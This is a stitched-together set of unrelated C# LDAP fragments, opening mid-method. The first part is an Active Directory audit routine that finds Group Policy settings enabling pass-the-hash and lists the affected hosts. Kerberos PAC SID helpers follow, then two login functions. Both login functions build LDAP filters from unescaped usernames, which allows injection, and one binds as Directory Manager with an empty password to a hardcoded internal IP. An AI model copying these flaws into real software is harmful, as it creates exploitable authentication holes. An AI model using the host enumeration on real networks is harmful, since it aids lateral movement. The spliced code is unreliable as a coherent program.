            domain = domain.ToLower();

            String[] DC_array           = null;
            String   distinguished_name = null;

            distinguished_name = "CN=Policies,CN=System";
            DC_array           = domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }

            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(domainController, 389);
            System.DirectoryServices.Protocols.LdapConnection          connection = null;

            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;

            try
            {
                connection.Bind();
            }
            catch
            {
                Console.WriteLine("The domain controller cannot be contacted. Exiting...\n");
                return;
            }

            SearchRequest requestGUID = null;

            if (string.Equals(searchScope, "SubTree"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            }
            else if (string.Equals(searchScope, "OneLevel"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
            }
            else if (string.Equals(searchScope, "Base"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Base, null);
            }

            SearchResponse responseGUID = null;

            try
            {
                responseGUID = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestGUID);
            }
            catch
            {
                Console.WriteLine("\n[!] Search scope is not valid. Exiting...\n");
                return;
            }

            if (!string.IsNullOrEmpty(Options.searchBase))
            {
                string adPath = "LDAP://" + domain + searchBase;
                if (!DirectoryEntry.Exists(adPath))
                {
                    Console.WriteLine("\n[!] Search base {0} is not valid. Exiting...\n", adPath);
                    return;
                }
            }

            Console.WriteLine("\n[-] Domain Controller is: {0}\n[-] Domain is: {1}\n", domainController, domain);

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in responseGUID.Entries)
            {
                try
                {
                    var requestAttributes  = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=" + entry.Attributes["cn"][0].ToString(), System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
                    var responseAttributes = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestAttributes);
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry attribute in responseAttributes.Entries)
                    {
                        try
                        {
                            string displayName    = entry.Attributes["displayName"][0].ToString();
                            string name           = entry.Attributes["name"][0].ToString();
                            string gpcfilesyspath = entry.Attributes["gpcfilesyspath"][0].ToString();

                            string uncPathGptTmpl = gpcfilesyspath + @"\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf";

                            bool enableLUA = CheckEnableLUA(uncPathGptTmpl);

                            if (enableLUA)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by disabling EnableLUA: {0} {1}", displayName, name);
                                }
                                listEnableLUA.Add(name);
                            }

                            bool FilterAdministratorToken = CheckFilterAdministratorToken(uncPathGptTmpl);

                            if (FilterAdministratorToken)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO exempts the RID 500 account from UAC protection by disabling FilterAdministratorToken: {0} {1}", displayName, name);
                                }
                                listFilterAdministratorToken.Add(name);
                            }

                            string uncPathRegistryXML = gpcfilesyspath + @"\MACHINE\Preferences\Registry\Registry.xml";

                            bool LocalAccountTokenFilterPolicy = CheckLocalAccountTokenFilterPolicy(uncPathRegistryXML);

                            if (LocalAccountTokenFilterPolicy)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by enabling LocalAccountTokenFilterPolicy: {0} {1}", displayName, name);
                                }
                                listLocalAccountTokenFilterPolicy.Add(name);
                            }

                            bool SeDenyNetworkLogonRight = CheckSeDenyNetworkLogonRight(uncPathGptTmpl);

                            if (SeDenyNetworkLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyNetworkLogonRight: {0} {1}", displayName, name);
                                }
                                listSeDenyNetworkLogonRight.Add(name);
                            }

                            bool SeDenyRemoteInteractiveLogonRight = CheckSeDenyRemoteInteractiveLogonRight(uncPathGptTmpl);

                            if (SeDenyRemoteInteractiveLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyRemoteInteractiveLogonRight: {0} {1}\n", displayName, name);
                                }
                                listSeDenyRemoteInteractiveLogonRight.Add(name);
                            }
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the displayname, name and gpcfilesypath...\n");
                            return;
                        }
                    }
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve GPO Policies...\n");
                    return;
                }
            }

            Console.Write("\n[+] EnableLUA: \t\t\t\t");
            foreach (var guid in listEnableLUA)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";

                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyEnableLUA.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyEnableLUA.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            //Console.Write("\n");

            Console.Write("\n[+] FilterAdministratorToken: \t\t");
            foreach (var guid in listFilterAdministratorToken)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyFilterAdministratorToken.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyFilterAdministratorToken.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] LocalAccountTokenFilterPolicy: \t");
            foreach (var guid in listLocalAccountTokenFilterPolicy)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyLocalAccountTokenFilterPolicy.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyLocalAccountTokenFilterPolicy.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyNetworkLogonRight: \t\t");
            foreach (var guid in listSeDenyNetworkLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyNetworkLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyNetworkLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyRemoteInteractiveLogonRight: \t");
            foreach (var guid in listSeDenyRemoteInteractiveLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }
                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyRemoteInteractiveLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyRemoteInteractiveLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");
        }
        public static KERB_SID_AND_ATTRIBUTES[] GetResourceGroupExtraSids(string domainName, NetworkCredential cred, uint resourceGroupCount, Group[] resourceGroups)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            KERB_SID_AND_ATTRIBUTES[] resourceGroupExtraSids = new KERB_SID_AND_ATTRIBUTES[resourceGroupCount];

            for (int i = 0; i < resourceGroupCount; i++)
            {
                string dn = GetDomainDnFromDomainName(domainName);
                string targetOu = dn;
                string filter = "cn=" + resourceGroups[i].GroupName;
                SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, "objectSid");
                SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                if (searchResponse.Entries.Count > 1)
                {
                    throw new Exception("There are more than one entries with the same resourceGroupName.");
                }
                SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes;
                string[] tmp = GetobjectSid(groupAttributes).Split('-');

                _RPC_SID resourceGroupSid = new _RPC_SID();
                resourceGroupSid.Revision = 0x01;
                resourceGroupSid.IdentifierAuthority = new _RPC_SID_IDENTIFIER_AUTHORITY();
                resourceGroupSid.IdentifierAuthority.Value = new byte[] { 0, 0, 0, 0, 0, 5 };
                resourceGroupSid.SubAuthorityCount = Convert.ToByte(tmp.Length - 3);
                resourceGroupSid.SubAuthority = new uint[tmp.Length - 3];
                for (int j = 3; j < tmp.Length; j++)
                {
                    resourceGroupSid.SubAuthority[j - 3] = Convert.ToUInt32(tmp[j]);
                }

                resourceGroupExtraSids[i] = new KERB_SID_AND_ATTRIBUTES();
                resourceGroupExtraSids[i].Attributes = Attributes_Values.Mandatory | Attributes_Values.EnabledByDefault | Attributes_Values.Enabled | Attributes_Values.Resource;
                resourceGroupExtraSids[i].SID = new _RPC_SID[1];
                resourceGroupExtraSids[i].SID[0] = resourceGroupSid;
            }
            return resourceGroupExtraSids;
        }
        public static uint[] GetResourceGroupIds(string domainName, NetworkCredential cred, uint resourceGroupCount, Group[] resourceGroups)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            uint[] rid = new uint[resourceGroupCount];

            for (int i = 0; i < resourceGroupCount; i++)
            {
                string dn = GetDomainDnFromDomainName(domainName);
                string targetOu = dn;
                string filter = "cn=" + resourceGroups[i].GroupName;
                SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, "objectSid");
                SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                if (searchResponse.Entries.Count > 1)
                {
                    throw new Exception("There are more than one entries with the same resourceGroupName.");
                }
                SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes;
                string[] tmp = GetobjectSid(groupAttributes).Split('-');
                rid[i] = Convert.ToUInt32(tmp[tmp.Length - 1]);
            }

            return rid;
        }
        public static uint[] GetGroupIds(SearchResultAttributeCollection attributes, string domainName, NetworkCredential cred)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            int groupCount = attributes["memberOf"].Count + 1;
            uint[] rid = new uint[groupCount];

            //Fix me
            //The built-in groupmembership Domain Users Rid = 513
            rid[0] = 513;
            for (int i = 1; i < groupCount; i++)
            {
                string dn = GetDomainDnFromDomainName(domainName);
                string targetOu = "cn=Users," + dn;
                string[] filter = attributes["memberOf"][i - 1].ToString().Split(',');
                SearchRequest searchRequest = new SearchRequest(targetOu, filter[0], SearchScope.Subtree, "objectSid");
                SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                if (searchResponse.Entries.Count > 1)
                {
                    throw new Exception("There are more than one entries with the same groupName.");
                }
                SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes;
                string[] tmp = GetobjectSid(groupAttributes).Split('-');
                rid[i] = Convert.ToUInt32(tmp[tmp.Length - 1]);
            }

            return rid;
        }
        public static uint[] GetDomainSid(string domainName, NetworkCredential cred)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            string dn = GetDomainDnFromDomainName(domainName);
            string filter = "(objectClass=*)";
            SearchRequest searchRequest = new SearchRequest(dn, filter, SearchScope.Base, "objectSid");
            SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
            if (searchResponse.Entries.Count > 1)
            {
                throw new Exception("There are more than one entries with the same domain distinguishedName.");
            }
            SearchResultAttributeCollection domainObjAttributes = searchResponse.Entries[0].Attributes;
            string[] tmp = GetobjectSid(domainObjAttributes).Split('-');
            uint[] domainSid = new uint[tmp.Length - 3];
            for (int i=0; i<tmp.Length-3; i++)
            {
                domainSid[i] = Convert.ToUInt32(tmp[i + 3]);
            }

            return domainSid;
        }
        public static commonUserFields GetCommonUserFields(string domainName, string userName, NetworkCredential cred)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            string dn = GetDomainDnFromDomainName(domainName);
            string targetOu = "cn=Users," + dn;
            string filter = "cn=" + userName;
            string[] attributesToReturn = new string[] { "lastLogon", "logonHours", "accountExpires", "pwdLastSet", "dBCSPwd", "unicodePwd", "userAccountControl", "logonCount", "badPwdCount", "objectSid", "primaryGroupID", "memberOf" };
            commonUserFields userFields = new commonUserFields();

            SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn);

            SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
            if (searchResponse.Entries.Count > 1)
            {
                throw new Exception("There are more than one entries with the same userName.");
            }
            SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes;

            userFields.LogonTime = GetAttributeFileTime(attributes, "lastLogon");
            userFields.LogonHours = GetAttributeFileTime(attributes, "logonHours");
            userFields.AccountExpires = GetAttributeFileTime(attributes, "accountExpires");
            userFields.LogoffTime = GetLogoffTime(userFields.LogonHours, userFields.AccountExpires);
            userFields.KickOffTime = GetKickoffTime(userFields.LogoffTime);
            userFields.PasswordLastSet = GetAttributeFileTime(attributes, "pwdLastSet");
            userFields.dBCSPwd = GetAttributeFileTime(attributes, "dBCSPwd");
            userFields.unicodePwd = GetAttributeFileTime(attributes, "unicodePwd");
            userFields.PasswordCanChange = GetPasswordCanChange(userFields.dBCSPwd, userFields.unicodePwd, userFields.PasswordLastSet);

            object attributeValue = null;
            attributeValue =  getAttributeValue(attributes, "userAccountControl");
            userFields.userAccountControl = (uint?) Convert.ToInt32(attributeValue);

            userFields.PasswordMustChange = GetPasswordMustChange(userFields.userAccountControl, userFields.PasswordLastSet);
            userFields.LogonCount = GetAttributeUshort(attributes, "logonCount");
            userFields.BadPwdCount = GetAttributeUshort(attributes, "badPwdCount");
            userFields.objectSid = GetobjectSid(attributes);
            if (userFields.objectSid == null)
            {
                userFields.userId = null;
            }
            else
            {
                string[] tmp = userFields.objectSid.Split('-');
                userFields.userId = Convert.ToUInt32(tmp[tmp.Length - 1]);
            }

            attributeValue = getAttributeValue(attributes, "primaryGroupID");
            userFields.primaryGroupId = (uint?)Convert.ToInt32(attributeValue);

            userFields.groupCount = GetGroupCount(attributes);
            if (userFields.groupCount > 0)
            {
                userFields.groupIds = GetGroupIds(attributes, domainName, cred);
            }

            userFields.domainSid = GetDomainSid(domainName, cred);
            return userFields;
        }
        public DirectoryEntry Validate(string username, string password)
        {
            var config = Config.Get<Settings>();
            var directory = new LdapDirectoryIdentifier(
                config.Host,
                config.Port,
                fullyQualifiedDnsHostName: true,
                connectionless: false);

            var credential = new NetworkCredential(
                config.Username,
                config.Password);

            var ldapConnection = new LdapConnection(directory, credential)
            {
                AuthType = AuthType.Basic
            };
            try
            {
                ldapConnection.SessionOptions.ProtocolVersion = 3;

                var request = new SearchRequest(
                        config.DistinguishedName,
                        "(&(objectClass=*)(uid=" + username + "))",
                        SearchScope.Subtree,
                        new string[] { "uid", "givenName", "sn", "mail" });

                var result = (SearchResponse)ldapConnection.SendRequest(request);

                if (result.Entries.Count == 0)
                    return null;

                var item = result.Entries[0];
                try
                {
                    ldapConnection.Bind(new NetworkCredential(item.DistinguishedName, password));
                }
                catch (Exception ex)
                {
                    Log.Error("Error authenticating user", ex, this.GetType());
                    return null;
                }

                // make sure to check these attribute names match with your LDAP attributes
                var uid = item.Attributes["uid"];
                var firstName = item.Attributes["givenName"];
                var lastName = item.Attributes["sn"];
                var email = item.Attributes["mail"];

                var entry = new DirectoryEntry
                {
                    Username = uid[0] as string,
                    FirstName = uid.Count > 0 ? firstName[0] as string : null,
                    LastName = lastName.Count > 0 ? lastName[0] as string : null,
                    Email = email.Count > 0 ? email[0] as string : null
                };

                return entry;
            }
            finally
            {
                try
                {
                    ldapConnection.Dispose();
                }
                catch
                {
                }
            }
        }
        //private string _path;
        //private string _filterAttribute;
        //private ILog log;
        //public LdapAuthentication(string path)
        //{
        //    _path = path;
        //    log = LogManager.GetLogger(this.GetType());
        //}

        public static bool IsAuthenticated(string username, string pwd)
        {
            //string domainAndUsername = (String.IsNullOrEmpty(domain) ? "" : @"\") + username;
            try
            {
                var credential = new NetworkCredential("cn=Directory Manager", "");
                var entry = new LdapConnection("10.243.1.123")
                                {
                                    AuthType = AuthType.Basic,
                                    Credential = credential
                                };
                entry.SessionOptions.ProtocolVersion = 3;
                entry.Bind();
                var searchRequest = new SearchRequest("dc=gmcc,dc=net", "uid=" + username, SearchScope.Subtree);
                var a = (SearchResponse)entry.SendRequest(searchRequest, new TimeSpan(0, 0, 0, 30));
                if (a.Entries.Count == 0)
                    return false;
                try
                {
                    var newC = new NetworkCredential(a.Entries[0].DistinguishedName, pwd);
                    entry.Credential = newC;
                    entry.Bind();
                }
                catch
                {
                    return false;
                }
                return true;

            }
            catch (Exception ex)
            {
                throw new Exception("Error authenticating user. " + ex.Message);
            }
        }